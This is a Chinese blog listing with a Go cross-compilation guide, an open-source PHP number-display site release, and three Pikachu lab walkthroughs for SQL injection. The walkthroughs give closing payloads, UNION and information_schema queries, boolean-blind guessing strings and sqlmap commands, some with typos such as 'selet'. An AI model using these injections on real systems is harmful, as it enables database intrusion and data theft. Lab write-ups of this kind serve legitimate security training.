最新发布
-
使用Go语言编译Linux平台可执行文件的完整指南 使用Go语言编译Linux平台可执行文件的完整指南 前言 在Go语言开发中,跨平台编译是一个非常重要的功能。本文将详细介绍如何使用Go语言将项目编译为Linux平台的可执行文件,特别是针对国内开发者的优化配置。 go.jpg图片 环境准备 在开始之前,请确保你已经安装了Go语言环境(建议1.13及以上版本)。你可以通过以下命令检查Go版本: go version编译脚本解析 下面是一个完整的Go项目编译脚本,特别针对国内环境进行了优化: $env:GOPROXY="https://goproxy.cn,direct"; # 国内代理加速 $env:CGO_ENABLED=0; # 禁用CGO,避免Linux系统库依赖 $env:GOOS="linux"; $env:GOARCH="amd64"; # 目标平台:Linux 64位 go mod tidy; # 确保依赖完整 go build -ldflags "-s -w" -o shuha main.go; # 减小二进制体积 if (Test-Path "shuha") { Write-Host "`n编译成功!文件路径:$(Get-Location)\shuha" -ForegroundColor Green } else { Write-Host "`n编译失败,请查看错误信息" -ForegroundColor Red };让我们逐条分析这个脚本的各个部分: 1. 设置GOPROXY加速国内下载 $env:GOPROXY="https://goproxy.cn,direct"; 作用:设置Go模块代理为国内镜像,加速依赖下载 推荐值: https://goproxy.cn:七牛云提供的国内代理 direct:当代理不可用时直接连接 替代方案:也可以使用https://goproxy.io或https://mirrors.aliyun.com/goproxy/ 2. 禁用CGO $env:CGO_ENABLED=0; 作用:禁用CGO,使编译出的二进制文件不依赖系统C库 优点: 编译出的二进制文件可以在任何Linux发行版上运行 减小二进制文件体积 避免因glibc版本问题导致的兼容性问题 注意:如果你的项目使用了C语言库,则需要保持CGO_ENABLED=1 3. 设置目标平台 $env:GOOS="linux"; $env:GOARCH="amd64"; GOOS:目标操作系统(linux/windows/darwin等) GOARCH:目标架构(amd64/arm/386等) 常用组合: Linux 64位:linux/amd64 Windows 64位:windows/amd64 MacOS 64位:darwin/amd64 ARM架构:linux/arm或linux/arm64 4. 整理依赖 go mod tidy; 作用: 添加缺失的模块 删除未使用的模块 更新go.mod和go.sum文件 最佳实践:在每次构建前运行,确保依赖完整性 5. 构建项目 go build -ldflags "-s -w" -o shuha main.go; -o shuha:指定输出文件名 -ldflags "-s -w":链接器标志,用于减小二进制体积 -s:省略符号表和调试信息 -w:省略DWARF调试信息 main.go:项目入口文件 6. 构建结果检查 if (Test-Path "shuha") { Write-Host "`n编译成功!文件路径:$(Get-Location)\shuha" -ForegroundColor Green } else { Write-Host "`n编译失败,请查看错误信息" -ForegroundColor Red } 作用:检查构建是否成功,并输出可执行文件路径 进阶技巧 1. 进一步减小二进制体积 除了-s -w标志外,还可以使用UPX工具进一步压缩: upx --best shuha2. 交叉编译其他平台 可以编写一个脚本一次性编译多个平台: #!/bin/bash # 编译Linux GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o bin/shuha-linux-amd64 main.go # 编译Windows GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o bin/shuha-windows-amd64.exe main.go # 编译MacOS GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o bin/shuha-darwin-amd64 main.go3. 版本信息嵌入 可以在构建时嵌入版本信息: go build -ldflags "-X main.Version=1.0.0 -X main.BuildTime=$(date +'%Y-%m-%d_%H:%M:%S')" -o shuha main.go然后在代码中定义这些变量: var ( Version string BuildTime string )常见问题解决 依赖下载慢: 确保GOPROXY设置正确 尝试go clean -modcache清除缓存后重试 CGO相关错误: 如果必须使用CGO,需要在目标系统上安装相应的C库 或者使用Docker容器进行编译 跨平台兼容性问题: 尽量使用纯Go实现的库 避免使用平台特定的系统调用 结语 通过本文介绍的方法,你可以轻松地将Go项目编译为Linux平台的可执行文件。这些技巧不仅适用于个人项目,也可以应用于企业级应用的持续集成流程中。Go语言的跨平台能力是其强大特性之一,合理利用可以大大提高开发效率。 如果你有任何问题或建议,欢迎在评论区留言讨论! -
企鹅展示系统开源发布:带后台管理的号码展示平台 企鹅展示系统开源发布:带后台管理的号码展示平台 前言 今天很高兴向大家分享一个我开发的"企鹅展示系统"——一个功能完善的号码信息展示平台,附带后台管理系统。这个项目完全开源,适合有一定PHP基础的开发者二次开发使用。 项目简介 企鹅展示系统是一个用于展示各类号码信息的Web应用,主要特点包括: q1.jpg图片 q2.jpg图片 前台展示页面简洁美观 完整的后台管理系统 支持大量数据展示 采用PHP+MySQL技术栈 开源可二次开发 下载地址 隐藏内容,请前往内页查看详情 安装教程 1. 环境准备 确保你的服务器满足以下要求: PHP 5.6或更高版本 MySQL 5.5或更高版本 Apache/Nginx Web服务器 2. 导入数据库 下载数据库文件后,使用phpMyAdmin或MySQL命令行工具导入: mysql -u username -p database_name < database.sql3. 配置系统 修改config.php文件中的数据库连接信息: define('DB_HOST', 'localhost'); define('DB_USER', 'your_username'); define('DB_PASS', 'your_password'); define('DB_NAME', 'your_database');4. 访问系统 前台访问地址:http://域名/ 后台访问地址:http://域名/admin 默认管理员账号:admin 默认密码:123456(请首次登录后立即修改) 系统功能 前台功能 号码信息分类展示 搜索功能 分页加载 响应式设计(适配手机端) 后台功能 号码信息管理(增删改查) 分类管理 用户管理 系统设置 已知问题与解决方案 目前系统存在一些小bug,我正在和朋友一起修复中。有能力的开发者可以自行修改: 分页问题:某些情况下分页显示不正确 解决方法:检查page.php中的分页逻辑 搜索功能不完善 解决方法:优化search.php中的SQL查询语句 后台部分表单验证缺失 解决方法:在提交处理前添加表单验证 PHP代码加密建议 为了保护您的代码安全,我推荐使用以下免费PHP加密平台: PHP代码加密平台 提供多种加密方式: Sg16版本 Deck3版本 Ic12版本 goto加密 enphp加密 noname方式等 该平台完全免费,可以有效保护您的PHP代码不被轻易反编译。 二次开发建议 界面美化:可以引入Bootstrap或Element UI等前端框架 功能扩展: 添加数据导出功能 实现API接口 增加多语言支持 性能优化: 添加缓存机制 优化数据库查询 结语 企鹅展示系统作为一个开源项目,希望能帮助到有类似需求的开发者。虽然目前还存在一些小问题,但核心功能已经完善。欢迎各位开发者下载使用,并参与项目的改进与完善。 如果你在使用过程中遇到任何问题,或者有改进建议,欢迎在评论区留言交流! 温馨提示:下载后请及时修改默认管理员密码,并检查系统安全性设置,确保生产环境安全。 -
pikachu上的xx型注入解题思路 下面这段代码对应的“XX型注入”属于特殊闭合方式的字符型注入,核心特点是参数被单引号+括号双重包裹,需要针对性构造payload。 if(isset($_GET['submit']) && $_GET['name']!=null){ //这里没有做任何处理,直接拼到select里面去了 $name=$_GET['name']; //这里的变量是字符型,需要考虑闭合 $query="select id,email from member where username=('$name')"; $result=execute($link, $query); if(mysqli_num_rows($result)>=1){ while($data=mysqli_fetch_assoc($result)){ $id=$data['id']; $email=$data['email']; $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>"; } }else{ $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>"; } } 关键特征分析 原始查询语句: select id,email from member where username=('$name') 用户输入的$name被包裹在 ('') 中(即先括号、再单引号) 正常情况下,输入test会变成 username=('test') 注入时需同时闭合单引号和括号,否则会触发语法错误 注入思路 闭合规则 需用 ') 来同时闭合单引号和括号,例如: 输入 x') 会使查询变成 username=('x'),此时前面的括号和引号已闭合。 基础payload示例 x') or 1=1#拼接后SQL变为: select id,email from member where username=('x') or 1=1#'') x') 闭合了原有的 (' or 1=1 构造永真条件 # 注释掉后面的剩余字符 '),避免语法错误 执行后会返回所有用户记录。 后续利用 与常规注入类似,闭合后可继续用union查询获取数据库信息,例如: x') union select database(),version()#sqlmap方法 获取数据库用户名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_x.php?name=test&submit=查询" --dbs --batch 获取数据库表名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_x.php?name=test&submit=查询" --D 数据库用户名 --tables --batch获取对应数据库表的信息 隐藏内容,请前往内页查看详情 字符型get-2.png图片 这种“XX型”本质是闭合方式更特殊(括号+单引号),核心仍是突破闭合并构造合法的恶意SQL,理解其包裹规则就能套用常规注入思路。 -
pikachu基于boolian的盲注详解 这是Pikachu平台中字符型SQL注入(含布尔判断特征) 的典型场景,存在明显的SQL注入漏洞,且特别适合布尔盲注测试,具体分析如下: if(isset($_GET['submit']) && $_GET['name']!=null){ $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了 $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合 //mysqi_query不打印错误描述,即使存在注入,也不好判断 $result=mysqli_query($link, $query);// // $result=execute($link, $query); if($result && mysqli_num_rows($result)==1){ while($data=mysqli_fetch_assoc($result)){ $id=$data['id']; $email=$data['email']; $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>"; } }else{ $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>"; } } 1. 漏洞核心特征 代码逻辑是: 接收用户输入的name参数(无任何过滤) 直接拼接到SQL查询:select id,email from member where username='$name' 关键判断:仅当查询结果刚好有1条记录时,显示your uid:xxx;否则显示不存在 这种“非此即彼”的返回逻辑,正是布尔盲注的典型环境——可以通过构造条件判断语句,根据页面返回“存在”或“不存在”来推断信息。 2. 布尔盲注利用思路 由于只有两种返回状态(成功/失败),无法直接获取数据,需通过条件判断逐步猜解信息: (1)验证注入点 1' and 1=1# 拼接后SQL:select ... where username='1' and 1=1#' 若页面显示your uid(存在),说明条件为真 1' and 1=2# 若页面显示不存在,说明条件为假,确认存在布尔盲注漏洞。 (2)猜解数据库名(以长度为例) 1' and length(database())=7# 若返回your uid,说明当前数据库名长度为7(Pikachu默认库名是pikachu,长度7)。 (3)逐字符猜解数据库名 1' and ascii(substr(database(),1,1))=112# substr(database(),1,1)取数据库名第1个字符 ascii()转换为ASCII码(112对应p) 若返回your uid,说明第1个字符是p,以此类推猜解完整名称。 正确解法是 隐藏内容,请前往内页查看详情 (4)猜解表名、字段名、数据 方法类似,例如猜解member表的字段: 1' and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name='member' limit 0,1)=105# 105对应i,即第1个字段可能是id。 正确解法是 隐藏内容,请前往内页查看详情 盲注布尔型.png图片 3. 为什么适合布尔盲注? 无错误回显:mysqli_query不显示具体错误,无法用联合查询直接获取数据 结果唯一判断:mysqli_num_rows($result)==1 只返回“存在1条”或“不存在”两种状态 闭合简单:字符型单引号闭合,容易构造条件语句 4. 修复建议 改用参数化查询(预处理语句),彻底杜绝注入: $stmt = mysqli_prepare($link, "select id,email from member where username=?"); mysqli_stmt_bind_param($stmt, 's', $name); mysqli_stmt_execute($stmt); $result = mysqli_stmt_get_result($stmt); 限制输入格式:只允许字母、数字等合法字符,过滤单引号等特殊符号。 这种场景下,手动盲注效率较低,实际测试中可结合Burp Suite的爆破功能或编写脚本自动化猜解。 sqlmap方法 获取数据库用户名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_blind_b.php?name=test&submit=查询" --dbs --batch获取数据库表名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_blind_b.phpp?name=test&submit=查询" --D 数据库用户名 --tables --batch获取对应数据库表的信息 隐藏内容,请前往内页查看详情 字符型get-2.png图片 -
pikachu上的sql字符型get注入详解 Pikachu漏洞练习平台 sql-字符型注入(get)题目: $name = $_GET['name']; // 这里的变量是字符型,需要考虑闭合 $query = "select id,email from member where username='$name'"; $result = execute($link, $query);构造闭合拼接 select id,email from member where username='1' or 1=1#'构造闭合拼接为永真条件 x' or 1=1#或者 x' and 1=1#都一样的 列举字段 x' order by 2#查看当前数据库用户名和数据库版本 x' union selet database(),version()#列出所有数据库 x' union select 1,group_concat(schema_name) from information_schema.schemata#列出表名 x' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#获取对应表的字段 x' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#获取管理员信息 隐藏内容,请前往内页查看详情 字符型get.png图片 最终获取的密码用md5解密就好了 sqlmap方法 获取数据库用户名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_str.php?name=test&submit=查询" --dbs --batch获取数据库表名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_str.php?name=test&submit=查询" --D 数据库用户名 --tables --batch获取对应数据库表的信息 隐藏内容,请前往内页查看详情 字符型get-2.png图片